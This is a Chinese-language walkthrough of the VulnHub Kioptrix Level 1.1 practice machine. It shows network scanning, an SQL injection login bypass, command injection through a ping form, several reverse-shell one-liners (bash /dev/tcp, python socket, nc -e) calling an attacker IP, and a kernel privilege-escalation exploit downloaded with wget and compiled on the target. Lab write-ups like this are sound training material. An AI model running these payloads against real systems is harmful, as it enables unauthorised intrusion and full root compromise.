0x00、环境下载
链接:https://www.vulnhub.com/entry/kioptrix-level-11-2,23/
0x01、前期准备
1.1、检查文件
hash值对比无误后解压
1.2、编辑虚拟机网卡
当不支持桥接时候,如练WiFi无无线网卡
方法1: 修改type为nat
方法2:将包含ethernet0的行删除,导入虚拟机(在0x03有说明)后新增一个网卡配置为nat
1.3、导入靶机
0x02、打点、信息收集
2.1、探索目标主机
扫描网段发现目标主机,方法有很多,例如
- arp-scan 192.168.197.0/24
- fscan -h 192.168.197.0/24 -hn 192.168.197.131
- nmap -sn 192.168.197.0/24
- fping -g 192.168.197.0/24 -a -s -q
-g网段探测 -a显示存活主机 -s打印最后的统计数据 -q安静模式,不输出其他信息
2.2、端口扫描
nmap、fscan等
0x03、渗透测试、漏洞利用
开放了80端口,测试web页面
3.1、万能密码登入(SQL注入)
a. 登录表单直接万能密码登录了:1' or 1=1 #; 即存在sql注入
b. 抓包测试一下:
c. 成功得到user()名长度为14,即可进一步测试,之前文章有py可以遍历(这里接着继续测试,没有其他方法再回过头来)
3.2、网络测试模块存在命令执行
①、命令测试
②、尝试反弹shell
a.target
# 最经典的方法,几乎适用于所有Linux系统
bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'
或 bash -i >& /dev/tcp/10.0.0.1/4444 0>&1# 如果 /dev/tcp 被禁用,可以使用其他工具
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'nc -e /bin/bash 10.0.0.1 4444b.attack-10.0.0.1,开启监听
nc -nvlp 4444
③、反弹shell
127.0.0.1;bash -i >& /dev/tcp/192.168.197.131/5555 0>&1
④、攻击端开启监听
nc -lvp 5555
⑤、成功获取到shell
0x04、权限提升
4.1、信息收集
首先改成伪终端方便显示
python -c 'import pty; pty.spawn("/bin/bash")' # 生成伪终端
当前用户
当前用户下可读、写、执行权限的目录有
查看内核
4.2、内核漏洞提权
①、查找该内核可用exp
方法一:searchsploit linux kernel 2.6. |grep -i "local privilege"
方法二:搜素网上资料
②、下载exp
searchsploit -m 9542.c
③、上传exp到靶机
攻击端开启web服务,让靶机下载exp
python -m http.server 9999
wget http://192.168.197.131:9999/9542.c
在靶机上成功下载,攻击机也成功响应
④、在靶机上编译并运行exp获取root权限
修改exp权限,并编译运行,成功获取到root权限
gcc -o exp0 9542.c
⑤、修改root密码,拿下靶机
0x05、总结梳理
总体来说这个靶机较简单适合新手练习,流程步骤如下:
下载靶机--->配置网络--->寻找主机--->端口扫描-nmap--->发现服务--->漏洞扫描/检测 & 渗透测试----> web页面sql注入万能密码---->ping模块--->可命令执行---->反弹bash shell --->获取shell收集靶机信息---->发现目标系统版本使用对应EXP进行提权(注意:exp的下载、编译、执行注意目录文件的权限等)。